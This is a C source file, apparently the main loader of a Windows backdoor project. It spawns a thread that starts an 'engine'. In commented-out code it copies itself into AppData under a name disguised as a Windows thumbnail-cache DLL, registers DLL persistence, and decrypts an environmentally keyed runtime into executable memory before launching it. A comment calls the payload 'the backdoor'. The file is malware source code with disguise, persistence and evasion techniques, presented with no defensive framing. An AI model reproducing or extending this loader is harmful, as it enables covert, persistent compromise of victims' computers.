#include <Windows.h>
#include <Psapi.h>

#include "Main.h"
#include "..\common\allocators.h"
#include "bin_patch.h"
#include "winapi_utils.h"


/* external projects */
#include "..\EnvironmentalKeying\EnvironmentalKeying.h"
#include "..\Persistence\\Persistence.h"
#include "..\Runtime\Runtime.h"

#include "..\ActionEventEngine\EventsActionsEngine.h"

#include "..\common\debug.h"
//#include "vld.h"

#include <stdio.h>


typedef struct _RUNTIME_MAIN_PARAMS
{
	PRUNTIME* pRuntime;
	PBINPATCH_STRUCT pBinPatch;
	int argc;
	char **argv;
	RUNTIME_MAIN fpRuntimeMain;
	HANDLE hDllToFree;
}RUNTIME_MAIN_PARAMS, *PRUNTIME_MAIN_PARAMS;

DWORD WINAPI ThreadLess(LPVOID lpParam);

int main(int argc, char** argv)
{
	
	OUTPUTDEBUG("[*] Main\n");
	
	//CHAR szProcessModulePath[MAX_PATH];
	//ZeroMemory(szProcessModulePath, sizeof(szProcessModulePath));
	//HANDLE hProcess = GetCurrentProcess();	
	//DWORD dwRet = GetModuleBaseName(hProcess, NULL, szProcessModulePath, MAX_PATH - 1);
	//OutputDebug(szProcessModulePath);
	//CloseHandle(hProcess);

	DWORD dwThreadId;
	HANDLE hThread = CreateThread(NULL, 0, Bootstrap, NULL, 0, &dwThreadId);

	OUTPUTDEBUG("[*] Spawned thread id %d\n", dwThreadId);
	WaitForSingleObject(hThread, INFINITE);
	OUTPUTDEBUG("[*] Bailing\n");

	return 0;
}


DWORD WINAPI Bootstrap(LPVOID lpParam)
{
	
	OUTPUTDEBUG("[*] made it\n");
	start_engine();


	///*	upon first run:
	//	a] dump the loader 
	//	b] point the persistence to the new loader copy
	//	c] encrypt the non loader modules 
	//*/
	//if (pFirstRun.dwFirstRunValue)
	//{
	//	CHAR szProcessModulePath[MAX_PATH];
	//	ZeroMemory(szProcessModulePath, sizeof(szProcessModulePath));
	//	GetModuleFileName(NULL, szProcessModulePath, MAX_PATH);
	//	HANDLE hThisFile = CreateFile(szProcessModulePath, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	//	if (hThisFile != INVALID_HANDLE_VALUE)
	//	{
	//		/* read the current PE, patch the first run flag and dump the loader */
	//		DWORD dwFileSize = GetFileSize(hThisFile, NULL);

	//		LPVOID lpLoaderBuffer = (LPVOID)salloc(dwFileSize);

	//		DWORD dwBytesRead = 0;
	//		ReadFile(hThisFile, lpLoaderBuffer, dwFileSize, &dwBytesRead, NULL);

	//		PatchDword(lpLoaderBuffer, dwBytesRead, FLAG_HIGH32 | FLAG_FIRST_RUN, 0x0);

	//		CHAR *szLoaderRelativePath = "\\Microsoft\\Windows\\Explorer\\thumbcache_sdr_stream.dll";
	//		CHAR *szAppDataLocal = GetLocalAppData();
	//		CHAR szLoaderFullPath[MAX_PATH];
	//		_snprintf_s(szLoaderFullPath, MAX_PATH, _TRUNCATE, "%s%s", szAppDataLocal, szLoaderRelativePath);

	//		HANDLE hLoader = CreateFile(szLoaderFullPath, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	//		if (hLoader != INVALID_HANDLE_VALUE)
	//		{
	//			/* a]  dump the loader  */
	//			DWORD dwBytesWritten = 0;
	//			WriteFile(hLoader, lpLoaderBuffer, dwBytesRead, &dwBytesWritten, 0);
	//			CloseHandle(hLoader);

	//			OUTPUTDEBUG("[*] First run, patching %s and dumping into %s\n", szProcessModulePath, szLoaderFullPath);


	//			/* b] point the persistence to the new loader copy */
	//			SetDllPersistence64(NULL, szLoaderFullPath);

	//			/* c] encrypt the non loader modules */
	//		}
	//		
	//		/* cleanup */
	//		sfree(szAppDataLocal);
	//		sfree(lpLoaderBuffer);
	//		CloseHandle(hThisFile);
	//		
	//	}
	//} //if (pFirstRun.dwFirstRunValue)

	///*	after the first run:
	//	a] load runtime with EnvironmentalKeying
	//	c] load and register modules with EnvironmentalKeying
	//*/
	//else
	//{
	//	/* a] */
	//	ENVIRONMENTAL_KEYING_ITEM runtimeKeyingConf;
	//	runtimeKeyingConf.encryptedItemPath = "C:\\Users\\unknown\\stuff\\Lotus\\64bit\\Actproxy\\x64\\ExeStandaloneDebug\\HomeUserEncryptedRuntime.sc";
	//	runtimeKeyingConf.key = GetUserHomeDirectory();

	//	unsigned char homeExpectedValue[32] = {
	//		0x4F, 0x94, 0x07, 0xAD, 0x10, 0xE4, 0xC7, 0x18, 0x2A, 0xA1, 0x73, 0x05, 0x39, 0x8F, 0x55, 0x6E,
	//		0xCC, 0x36, 0x21, 0x3E, 0x03, 0x13, 0x8D, 0xB7, 0x56, 0x2D, 0x24, 0x14, 0x08, 0x14, 0xEC, 0xC3
	//	};

	//	memcpy(runtimeKeyingConf.expectedValue, homeExpectedValue, 32);
	//			
	//	
	//	HANDLE hFile = CreateFile(runtimeKeyingConf.encryptedItemPath, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	//	DWORD dwFileSize = GetFileSize(hFile, NULL);
	//	LPVOID lpEncrpytedRuntime = (LPVOID)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//	DWORD dwBytesRead = 0;
	//	ReadFile(hFile, lpEncrpytedRuntime, dwFileSize, &dwBytesRead, NULL);
	//	CloseHandle(hFile);

	//	BOOL bSetupSuccessful = EnvironmentalKeyingSetup(runtimeKeyingConf.key, &runtimeKeyingConf.expectedValue);

	//	if (!bSetupSuccessful)
	//	{
	//		OUTPUTDEBUG("[E] issues with EnvironmentalKeyingSetup");
	//	}

	//	LPVOID lpDecryptedRuntime = (LPVOID)VirtualAlloc(NULL, dwBytesRead, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//	BOOL bRuntimeDecryptionSuccessful = EnvironmentalKeyingDecrypt(lpEncrpytedRuntime, dwBytesRead, lpDecryptedRuntime);

	//	if (!bRuntimeDecryptionSuccessful)
	//	{
	//		OUTPUTDEBUG("[E] issues with EnvironmentalKeyingDecryption");
	//	}

	//	RUNTIME_INIT  fpRuntimeInit = ResolveRuntimeExport(lpDecryptedRuntime, dwBytesRead, RUNTIME_INIT_WRAPPER_EXPORT);
	//	RUNTIME_CLOSE fpRuntimeClose = ResolveRuntimeExport(lpDecryptedRuntime, dwBytesRead, RUNTIME_CLOSE_WRAPPER_EXPORT);
	//	RUNTIME_MAIN fpRuntimeMain = ResolveRuntimeExport(lpDecryptedRuntime, dwBytesRead, RUNTIME_MAIN_WRAPPER_EXPORT);

	//	OUTPUTDEBUG("[*] resolved RuntimeInit %p\n", fpRuntimeInit);
	//	OUTPUTDEBUG("[*] resolved RuntimeClose %p\n", fpRuntimeClose);


	//	PRUNTIME pRuntime = LoadRuntime();
	//

	//	LPVOID lpTest = pRuntime->pKernel32->fpVirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//	pRuntime->pKernel32->fpVirtualFree(lpTest, 0, MEM_RELEASE);

	///*	char **argv = (char**) malloc(sizeof(char*));
	//	*argv = "asdf\n";
	//	
	//	fpRuntimeMain(&pRuntime, NULL, 0, argv);*/

	//	char **argv2 = (char**)malloc(sizeof(char*));
	//	*argv2 = (char*)malloc(10);
	//	memcpy(*argv2, "main\n", 6);

	//	PRUNTIME_MAIN_PARAMS pParams = (PRUNTIME_MAIN_PARAMS)malloc(sizeof(RUNTIME_MAIN_PARAMS));
	//	pParams->pRuntime = &pRuntime;
	//	pParams->pBinPatch = (PBINPATCH_STRUCT)malloc(sizeof(BINPATCH_STRUCT));
	//	pParams->argc = 2000;
	//	pParams->argv = argv2;
	//	pParams->fpRuntimeMain = fpRuntimeMain;
	//	
	//	pParams->pBinPatch->hDllToFree= LoadLibraryA("C:\\Users\\unknown\\stuff\\Lotus\\64bit\\Actproxy\\x64\\DllDebug\\Actproxy.dll");
	//	
	//	DWORD dwThreadId = 0;
	//	HANDLE hThread = CreateThread(NULL, 0, ThreadLess, pParams, 0, &dwThreadId);

	//	OUTPUTDEBUG("[*] RuntimeMain thread id %d\n", dwThreadId);
	//	//WaitForSingleObject(hThread, INFINITE);
	//	//OUTPUTDEBUG("[*] RuntimeMain spawned out\n");

	//	//fpRuntimeMain(&pRuntime, NULL, 2000, argv2);

	//	//fpRuntimeClose(&pRuntime, &init);
	//}

	///* after bootstrap toke place, run the backdoor*/


	return 0;
}


DWORD WINAPI ThreadLess(LPVOID lpParam)
{

	PRUNTIME_MAIN_PARAMS pParams = (PRUNTIME_MAIN_PARAMS)lpParam;

	pParams->fpRuntimeMain(pParams->pRuntime, pParams->pBinPatch, pParams->argc, pParams->argv);
}